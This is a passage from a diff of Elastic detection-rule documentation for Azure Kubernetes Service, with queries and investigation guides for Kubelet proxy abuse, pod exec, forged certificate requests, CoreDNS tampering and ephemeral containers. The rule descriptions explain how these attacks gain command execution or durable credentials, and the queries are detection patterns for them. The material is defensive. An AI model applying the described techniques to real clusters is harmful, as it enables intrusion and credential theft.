azure.tenant_id, + Esql.time_window + +| where Esql.distinct_endpoints >= 5 + +| keep + user.id, + azure.tenant_id, + Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Cloud Groups +** ID: T1069.003 +** Reference URL: https://attack.mitre.org/techniques/T1069/003/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Cloud Account +** ID: T1087.004 +** Reference URL: https://attack.mitre.org/techniques/T1087/004/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-api-server-proxying-request-to-kubelet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-api-server-proxying-request-to-kubelet.asciidoc new file mode 100644 index 0000000000..a582e9a391 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-api-server-proxying-request-to-kubelet.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-34-azure-aks-api-server-proxying-request-to-kubelet]] +=== Azure AKS API Server Proxying Request to Kubelet + +Detects a non-system identity using the AKS (Azure Kubernetes Service) API server nodes/proxy subresource to reach a node's Kubelet. Proxying through the API server reaches the Kubelet API to enumerate pods or run commands on nodes, a lateral-movement and privilege-escalation vector (kubeletctl, Peirates). Node, control-plane, and kube-system service account identities that routinely proxy for monitoring are excluded, so remaining matches, including compromised workload service accounts, are surfaced for review. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.platformlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/ +* https://stratus-red-team.cloud/attack-techniques/kubernetes/k8s.privilege-escalation.nodes-proxy/ +* https://horizon3.ai/attack-research/when-read-only-isnt-k8s-nodes-proxy-get-to-rce/ +* https://microsoft.github.io/Threat-Matrix-for-Kubernetes/ +* https://github.com/inguardians/peirates + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: Azure +* Data Source: Azure Platform Logs +* Data Source: Kubernetes +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Platform: Kubernetes +* Domain: Containers + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure AKS API Server Proxying Request to Kubelet* + + +AKS kube-audit events are carried under the flattened `azure.platformlogs.properties.log.*` subtree and share the ARM +operation `event.action: Microsoft.ContainerService/managedClusters/diagnosticLogs/Read`. The `nodes/proxy` subresource +tunnels a request through the API server to a node's Kubelet. An identity with this permission can enumerate pods +(`/proxy/pods`, `/proxy/runningpods`) or run commands (`/proxy/run`, `/proxy/exec`) on nodes without direct network +access to the Kubelet port. This rule excludes the node, control-plane, and kube-system service-account identities that +routinely proxy for monitoring, so remaining matches are workload identities or users that should rarely, if ever, reach +the Kubelet. + + +*Possible investigation steps* + + +- Identify the acting identity in `azure.platformlogs.properties.log.user.username` and whether a workload service + account or user should reach the Kubelet at all. Compromised pod service accounts (`system:serviceaccount::`) + are the primary vehicle for this technique. +- Inspect the proxied Kubelet endpoint in `azure.platformlogs.properties.log.requestURI`. `/metrics` and `/stats` are + monitoring; `/pods` and `/runningpods` are reconnaissance; `/run`, `/exec`, `/attach`, and `/portforward` are command + execution and warrant immediate escalation. +- Evaluate `azure.platformlogs.properties.log.sourceIPs`. This is an array; for an externally operated attack the first + element is the operator's real client IP, while the trailing entry is the internal API-server/konnectivity hop + (`172.31.x`). A first entry that is not the cluster's own egress is a strong signal. In-cluster pivots show only + internal addresses, so absence of an external IP does not clear the event. +- Review the target node in `azure.platformlogs.properties.log.objectRef.name` and correlate with subsequent activity on + that node's workloads (secret reads, RBAC changes, new pods). + + +*False positive analysis* + + +- Monitoring and log-collection agents outside kube-system proxy to the Kubelet on every scrape and will match + repeatedly; add targeted exclusions for verified monitoring service accounts and namespaces. + + +*Response and remediation* + + +- If unauthorized, revoke the acting identity's tokens and review the RBAC that granted `nodes/proxy`. +- Inspect the target node for command execution, dropped tooling, or credential theft, and rotate credentials reachable + from affected pods. +- Note that direct Kubelet access on port 10250 bypasses the API server and does not appear in kube-audit; treat a + confirmed proxy abuse as possible evidence of broader Kubelet access. +- Collect kube-audit and identity artifacts per incident response procedures. + + +==== Setup + + +The Azure Fleet integration collecting AKS diagnostic logs with the `kube-audit` category forwarded through Event Hub into the `azure.platformlogs` data stream is required for this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.platformlogs and + event.action:"Microsoft.ContainerService/managedClusters/diagnosticLogs/Read" and + azure.platformlogs.category:"kube-audit" and + azure.platformlogs.properties.log.objectRef.resource:"nodes" and + azure.platformlogs.properties.log.objectRef.subresource:"proxy" and + not azure.platformlogs.properties.log.user.username:( + system\:node\:* or "aksService" or "hcpService" or "readinessChecker" or + system\:serviceaccount\:kube-system\:* + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-attempted-user-exec-into-pod.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-attempted-user-exec-into-pod.asciidoc new file mode 100644 index 0000000000..b08920dc7a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-attempted-user-exec-into-pod.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-34-azure-aks-attempted-user-exec-into-pod]] +=== Azure AKS Attempted User Exec into Pod + +Detects an AKS (Azure Kubernetes Service) identity establishing an exec session into a pod. Interactive command execution inside a workload via kubectl exec is a common post-compromise technique used to access secrets, run tooling, and expand access from a foothold container. Node, control-plane, and kube-system service account identities are excluded, so workload service accounts and users, the identities an adversary is most likely to abuse, remain in scope. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.platformlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/tasks/debug/debug-application/get-shell-running-container/ +* https://microsoft.github.io/Threat-Matrix-for-Kubernetes/ +* https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: Azure +* Data Source: Azure Platform Logs +* Data Source: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Platform: Kubernetes +* Domain: Containers + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure AKS Attempted User Exec into Pod* + + +AKS kube-audit events are carried under the flattened `azure.platformlogs.properties.log.*` subtree and share the ARM +operation `event.action: Microsoft.ContainerService/managedClusters/diagnosticLogs/Read`. This rule alerts on a +`pods/exec` request by an identity that is not node, control-plane, or kube-system infrastructure. Exec into a pod grants +an interactive shell inside the workload, which adversaries use to read mounted secrets, pivot, and stage tooling. + + +*Possible investigation steps* + + +- Review the acting identity in `azure.platformlogs.properties.log.user.username` and its groups in + `azure.platformlogs.properties.log.user.groups`, and the target pod in + `azure.platformlogs.properties.log.objectRef.name` / `azure.platformlogs.properties.log.objectRef.namespace`. +- Determine whether the target pod holds sensitive data, cluster credentials, or a mounted service account token. +- Inspect the exec request path and command context in `azure.platformlogs.properties.log.requestURI` and the client in + `azure.platformlogs.properties.log.userAgent` (interactive `kubectl` vs a scripted client). +- Evaluate the source in `azure.platformlogs.properties.log.sourceIPs`. Pivot on it for related API activity, secret + reads, or RBAC changes from the same identity. + + +*False positive analysis* + + +- Approved admin debugging; exclude stable operator or break-glass identities after review. +- CI/CD or platform tooling that execs into workloads may match; exclude verified service accounts and namespaces. + + +*Response and remediation* + + +- If unauthorized, revoke the identity's tokens and kubeconfig and terminate the exec session. +- Inspect the target pod for tampering, dropped tooling, or accessed secrets, and rotate any credentials it exposed. +- Collect kube-audit and identity artifacts per incident response procedures. + + +==== Setup + + +The Azure Fleet integration collecting AKS diagnostic logs with the `kube-audit` category forwarded through Event Hub into the `azure.platformlogs` data stream is required for this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.platformlogs and + event.action:"Microsoft.ContainerService/managedClusters/diagnosticLogs/Read" and + azure.platformlogs.category:"kube-audit" and + azure.platformlogs.properties.log.objectRef.resource:"pods" and azure.platformlogs.properties.log.objectRef.subresource:"exec" and + azure.platformlogs.properties.log.verb:("create" or "get") and + not azure.platformlogs.properties.log.user.username:( + system\:node\:* or "aksService" or "hcpService" or "readinessChecker" or + system\:serviceaccount\:kube-system\:* + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-certificate-signing-request-created-or-approved.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-certificate-signing-request-created-or-approved.asciidoc new file mode 100644 index 0000000000..7acbab7d18 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-certificate-signing-request-created-or-approved.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-34-azure-aks-certificate-signing-request-created-or-approved]] +=== Azure AKS Certificate Signing Request Created or Approved + +Detects an identity creating a client-authentication CertificateSigningRequest (signer kubernetes.io/kube-apiserver-client) or approving a CSR on AKS (Azure Kubernetes Service), excluding node bootstrap and platform controllers. Adversaries submit and self-approve a CSR against the kube-apiserver-client signer to mint a long-lived client certificate for an arbitrary subject (for example a Common Name in system:masters), giving durable authenticated access that survives token revocation. Coverage includes workload service accounts (system:serviceaccount:*), so a compromised in-cluster token forging a certificate is not excluded. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.platformlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/ +* https://microsoft.github.io/Threat-Matrix-for-Kubernetes/ +* https://github.com/inguardians/peirates +* https://raesene.github.io/blog/2022/12/21/Kubernetes-persistence-with-Tocan-and-Teisteanas/ +* https://cloud.google.com/blog/topics/threat-intelligence/escalating-privileges-azure-kubernetes-services +* https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: Azure +* Data Source: Azure Platform Logs +* Data Source: Kubernetes +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Platform: Kubernetes +* Domain: Containers + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure AKS Certificate Signing Request Created or Approved* + + +AKS kube-audit events are carried under the flattened `azure.platformlogs.properties.log.*` subtree and share the ARM +operation `event.action: Microsoft.ContainerService/managedClusters/diagnosticLogs/Read`. A CSR created against the +`kubernetes.io/kube-apiserver-client` signer lets the requester choose the certificate's subject (Common Name and +organization/groups); once approved it mints a client certificate for an arbitrary identity that yields access not tied +to a token. The default `CertificateSubjectRestriction` admission controller blocks requests for the `system:masters` +group, so attackers commonly request a Common Name matching an existing privileged user (or another privileged group) +instead, making the requested subject the key thing to decode. Node and kubelet certificates use the +`kube-apiserver-client-kubelet` and `kubelet-serving` signers (whose subject is constrained to the node) and are out of +scope; cert-manager and application CSRs use their own signers. + + +*Possible investigation steps* + + +- Identify the requesting identity in `azure.platformlogs.properties.log.user.username` (and its groups in + `azure.platformlogs.properties.log.user.groups`) and whether it should submit or approve CSRs. A workload service + account (`system:serviceaccount::`) or `masterclient` (the local cluster-admin cert) is the higher-concern + case. +- Confirm the signer in `azure.platformlogs.properties.log.requestObject.spec.signerName` and decode the base64 CSR in + `azure.platformlogs.properties.log.requestObject.spec.request` to read the requested Common Name and organization + (groups); a subject in `system:masters` or another privileged group is the escalation. +- Determine whether the same or a related identity approved the CSR (`verb:update`/`patch` on the `approval` + subresource), which indicates self-approval, and inspect `azure.platformlogs.properties.log.userAgent`. +- Evaluate the source in `azure.platformlogs.properties.log.sourceIPs` and pivot on it for follow-on privileged API + activity using the newly issued certificate. + + +*False positive analysis* + + +- Node bootstrap (`kube-apiserver-client-kubelet` signer), kubelet-serving CSRs, and cert-manager/application CSRs + (custom signers) are out of scope by design; the kube-controller-manager `certificate-controller` and the AKS + `aksService` approver are excluded by identity. +- Manual CSR approval by an administrator, or an operator that legitimately mints client certificates, may surface; + baseline those identities and exclude the specific validated account rather than re-broadening to all `system:*`, + which would blind the rule to compromised workload service accounts. + + +*Response and remediation* + + +- If unauthorized, deny or delete the CSR, revoke the issued certificate, and rotate the cluster CA if a privileged + certificate was minted. +- Review the RBAC that allowed CSR creation and approval, and audit actions taken with the certificate. +- Collect kube-audit and identity artifacts per incident response procedures. + + +==== Setup + + +The Azure Fleet integration collecting AKS diagnostic logs forwarded through Event Hub into the `azure.platformlogs` +data stream is required for this rule. Enable either the `kube-audit` or the `kube-audit-admin` log category (Microsoft +recommends `kube-audit-admin` alone to reduce volume, as it only drops read-only get/list events). CSR create and +approval are mutating operations recorded in both categories with the same `auditID`, so clusters that enable both +categories may generate two alerts per event. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.platformlogs and + event.action:"Microsoft.ContainerService/managedClusters/diagnosticLogs/Read" and + azure.platformlogs.category:("kube-audit" or "kube-audit-admin") and + azure.platformlogs.properties.log.stage:"ResponseComplete" and + azure.platformlogs.properties.log.objectRef.resource:"certificatesigningrequests" and + azure.platformlogs.properties.log.responseStatus.code: "200" and + azure.platformlogs.properties.log.requestObject.status.conditions.type: "Approved" and + ( + ( + azure.platformlogs.properties.log.verb:"create" and + azure.platformlogs.properties.log.requestObject.spec.signerName:"kubernetes.io/kube-apiserver-client" + ) or ( + azure.platformlogs.properties.log.verb:("update" or "patch") and + azure.platformlogs.properties.log.objectRef.subresource:"approval" + ) + ) and + not azure.platformlogs.properties.log.user.username:( + system\:node\:* or system\:bootstrap\:* or "aksService" or "hcpService" or + "readinessChecker" or system\:serviceaccount\:kube-system\:* + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal or Forge Authentication Certificates +** ID: T1649 +** Reference URL: https://attack.mitre.org/techniques/T1649/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-coredns-or-kube-dns-configuration-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-coredns-or-kube-dns-configuration-modified.asciidoc new file mode 100644 index 0000000000..2f9798cf06 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-coredns-or-kube-dns-configuration-modified.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-34-azure-aks-coredns-or-kube-dns-configuration-modified]] +=== Azure AKS CoreDNS or Kube-DNS Configuration Modified + +Detects an identity creating or modifying the CoreDNS or kube-dns ConfigMap in the kube-system namespace on AKS (Azure Kubernetes Service), excluding known AKS control-plane and platform identities. Rewriting cluster DNS (by editing coredns/kube-dns or creating and editing coredns-custom) enables cluster-wide adversary-in-the-middle by redirecting internal service resolution to attacker-controlled IPs, allowing credential capture and traffic interception. Coverage includes workload service accounts (system:serviceaccount:*), so a compromised in-cluster token is not excluded. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.platformlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/tasks/administer-cluster/dns-custom-nameservers/ +* https://microsoft.github.io/Threat-Matrix-for-Kubernetes/ +* https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/CoreDNS%20poisoning/ +* https://learn.microsoft.com/en-us/azure/aks/coredns-custom +* https://www.aquasec.com/blog/dns-spoofing-kubernetes-clusters/ +* https://hub.armosec.io/docs/c-0037 + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: Azure +* Data Source: Azure Platform Logs +* Data Source: Kubernetes +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Platform: Kubernetes +* Domain: Containers + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure AKS CoreDNS or Kube-DNS Configuration Modified* + + +AKS kube-audit events are carried under the flattened `azure.platformlogs.properties.log.*` subtree and share the ARM +operation `event.action: Microsoft.ContainerService/managedClusters/diagnosticLogs/Read`. CoreDNS resolves in-cluster +service names; an attacker who edits `coredns`/`kube-dns` or creates/edits the user-managed `coredns-custom` ConfigMap +can inject forward or rewrite rules that redirect service resolution to attacker-controlled endpoints, enabling +cluster-wide interception of credentials and traffic. `coredns-custom` is the supported customization surface, so +legitimate DNS tuning also lands here; the acting identity is excluded when it is an AKS platform reconciler +(`aksService`), leaving non-platform changes as the signal. + + +*Possible investigation steps* + + +- Review the submitted ConfigMap body in `azure.platformlogs.properties.log.requestObject.data` for added forward, + rewrite, or hosts entries pointing at unexpected IPs or domains. This content, not the act of editing, is what + distinguishes malicious DNS redirection from routine customization. +- Identify the acting identity in `azure.platformlogs.properties.log.user.username` (and its groups in + `azure.platformlogs.properties.log.user.groups`) and confirm it should manage the CoreDNS configuration; a workload + service account (`system:serviceaccount::`) editing cluster DNS is the higher-concern case. +- Confirm the operation and object via `azure.platformlogs.properties.log.verb` (a `create` of `coredns-custom` where it + did not previously exist is notable) and `azure.platformlogs.properties.log.objectRef.name` (`coredns`, + `coredns-custom`, or `kube-dns`), and inspect `azure.platformlogs.properties.log.userAgent`. +- Evaluate the source in `azure.platformlogs.properties.log.sourceIPs` and pivot on it for related RBAC changes, secret + reads, or exec sessions. + + +*False positive analysis* + + +- `coredns-custom` is the AKS-supported way to add custom forward/stub rules, so approved automation, GitOps, or + administrators editing it are expected. The AKS reconciler (`aksService`) that continuously (re)creates + `coredns-custom` is excluded by identity. Validate the change content and window, then exclude the specific verified + service account rather than re-broadening to all `system:*`. + + +*Response and remediation* + + +- If unauthorized, restore the CoreDNS ConfigMap from a known-good source, revoke the acting identity's tokens, and + review the RBAC that permitted the change. +- Hunt for credential capture or redirected traffic during the window the malicious configuration was active. +- Collect kube-audit and identity artifacts per incident response procedures. + + +==== Setup + + +The Azure Fleet integration collecting AKS diagnostic logs forwarded through Event Hub into the `azure.platformlogs` +data stream is required for this rule. Enable either the `kube-audit` or the `kube-audit-admin` log category (Microsoft +recommends `kube-audit-admin` alone to reduce volume, as it only drops read-only get/list events). ConfigMap writes are +mutating operations recorded in both categories with the same `auditID`, so clusters that enable both categories may +generate two alerts per change. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.platformlogs and + event.action:"Microsoft.ContainerService/managedClusters/diagnosticLogs/Read" and + azure.platformlogs.category:("kube-audit" or "kube-audit-admin") and + azure.platformlogs.properties.log.stage:"ResponseComplete" and + azure.platformlogs.properties.log.objectRef.resource:"configmaps" and + azure.platformlogs.properties.log.objectRef.namespace:"kube-system" and + azure.platformlogs.properties.log.objectRef.name:("coredns" or "kube-dns" or "coredns-custom") and + azure.platformlogs.properties.log.verb:("create" or "update" or "patch" or "delete") and + not azure.platformlogs.properties.log.user.username:( + system\:node\:* or "aksService" or "hcpService" or "readinessChecker" or + system\:serviceaccount\:kube-system\:* + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-ephemeral-container-added-to-pod.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-ephemeral-container-added-to-pod.asciidoc new file mode 100644 index 0000000000..44b10e12bf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-ephemeral-container-added-to-pod.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-34-azure-aks-ephemeral-container-added-to-pod]] +=== Azure AKS Ephemeral Container Added to Pod + +Detects an identity injecting an ephemeral (debug) container into a running AKS (Azure Kubernetes Service) pod via the pods/ephemeralcontainers subresource, excluding known AKS control-plane and platform identities. Ephemeral containers share the target pod's namespaces and give stealthy interactive access to its processes and mounted secrets without creating a new pod. Coverage includes workload service accounts (system:serviceaccount:*), so a compromised in-cluster token used to attach a debug container is not excluded. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.platformlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/tasks/debug/debug-application/debug-running-pod/#ephemeral-container +* https://microsoft.github.io/Threat-Matrix-for-Kubernetes/ +* https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: Azure +* Data Source: Azure Platform Logs +* Data Source: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Platform: Kubernetes +* Domain: Containers + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure AKS Ephemeral Container Added to Pod* + + +AKS kube-audit events are carried under the flattened `azure.platformlogs.properties.log.*` subtree and share the ARM +operation `event.action: Microsoft.ContainerService/managedClusters/diagnosticLogs/Read`. An ephemeral container is +attached to a running pod (via `kubectl debug`) and shares that pod's process and network namespaces. Adversaries use it +as a stealthier alternative to `exec` to read mounted secrets and interact with the workload. + + +*Possible investigation steps* + + +- Identify the acting identity in `azure.platformlogs.properties.log.user.username` (and its groups in + `azure.platformlogs.properties.log.user.groups`) and whether it should debug pods. A username of `masterclient` with + the `system:masters` group is the AKS local cluster-admin certificate (`az aks get-credentials --admin`); on clusters + with local accounts disabled it should not appear at all, so its presence is itself notable. Entra-integrated admins + appear as their UPN/objectId instead. +- Inspect the injected container in the `azure.platformlogs.properties.log.requestObject.spec.ephemeralContainers.*` + fields: the `image`, `command`, and `targetContainerName` show what was run and against which container, and + `securityContext.capabilities.add` (e.g. `SYS_PTRACE`, `SYS_ADMIN`) or a privileged context indicates offensive + debugging. +- Review `azure.platformlogs.properties.log.userAgent` to distinguish an interactive `kubectl debug` from automation or + custom tooling, and `azure.platformlogs.properties.log.responseStatus.code` to tell a successful injection (200) from + a denied attempt (403) by an identity lacking RBAC. +- Identify the target pod in `azure.platformlogs.properties.log.objectRef.name` / + `azure.platformlogs.properties.log.objectRef.namespace`. +- Evaluate the source in `azure.platformlogs.properties.log.sourceIPs` and pivot on it for related exec sessions, secret + reads, or RBAC changes. + + +*False positive analysis* + + +- Operators and support tooling use ephemeral containers for legitimate troubleshooting; baseline expected users and + exclude verified break-glass or platform identities. + + +*Response and remediation* + + +- If unauthorized, remove the ephemeral container (delete or replace the pod), revoke the acting identity's tokens, and + review the RBAC that permitted the injection. +- Inspect the target pod for accessed secrets or tampering and rotate any exposed credentials. +- Collect kube-audit and identity artifacts per incident response procedures. + + +==== Setup + + +The Azure Fleet integration collecting AKS diagnostic logs forwarded through Event Hub into the `azure.platformlogs` +data stream is required for this rule. Enable either the `kube-audit` or the `kube-audit-admin` log category (Microsoft +recommends `kube-audit-admin` alone to reduce volume, as it only drops read-only get/list events). Mutating +ephemeral-container writes are recorded in both categories with the same `auditID`, so clusters that enable both +categories may generate two alerts per injection. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.platformlogs and + event.action:"Microsoft.ContainerService/managedClusters/diagnosticLogs/Read" and + azure.platformlogs.category:("kube-audit" or "kube-audit-admin") and + azure.platformlogs.properties.log.stage:"ResponseComplete" and + azure.platformlogs.properties.log.objectRef.resource:"pods" and + azure.platformlogs.properties.log.objectRef.subresource:"ephemeralcontainers" and + azure.platformlogs.properties.log.verb:("update" or "patch") and + not azure.platformlogs.properties.log.user.username:( + system\:node\:* or "aksService" or "hcpService" or "readinessChecker" or + system\:serviceaccount\:kube-system\:* + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-kubelet-proxy-to-command-execution-endpoint.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-kubelet-proxy-to-command-execution-endpoint.asciidoc new file mode 100644 index 0000000000..9e242d32ad --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-aks-kubelet-proxy-to-command-execution-endpoint.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-34-azure-aks-kubelet-proxy-to-command-execution-endpoint]] +=== Azure AKS Kubelet Proxy to Command Execution Endpoint + +Detects use of the AKS (Azure Kubernetes Service) API server nodes/proxy subresource to reach a node's Kubelet command-execution endpoints (run, exec, attach, portforward, cri). Unlike benign monitoring that scrapes /metrics and /stats, a request to these endpoints executes commands inside a pod on the node, the core of the kubeletctl and Peirates lateral-movement technique. Even a GET to /exec is command execution because the Kubelet maps the WebSocket upgrade handshake to the RBAC get verb, so nodes/proxy GET is sufficient for remote code execution. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.platformlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://horizon3.ai/attack-research/when-read-only-isnt-k8s-nodes-proxy-get-to-rce/ +* https://stratus-red-team.cloud/attack-techniques/kubernetes/k8s.privilege-escalation.nodes-proxy/ +* https://www.cyberark.com/resources/threat-research-blog/using-kubelet-client-to-attack-the-kubernetes-cluster +* https://microsoft.github.io/Threat-Matrix-for-Kubernetes/ +* https://github.com/inguardians/peirates +* https://grahamhelton.com/blog/nodes-proxy-rce + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: Azure +* Data Source: Azure Platform Logs +* Data Source: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Platform: Kubernetes +* Domain: Containers + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure AKS Kubelet Proxy to Command Execution Endpoint* + + +AKS kube-audit events are carried under the flattened `azure.platformlogs.properties.log.*` subtree and share the ARM +operation `event.action: Microsoft.ContainerService/managedClusters/diagnosticLogs/Read`. This rule 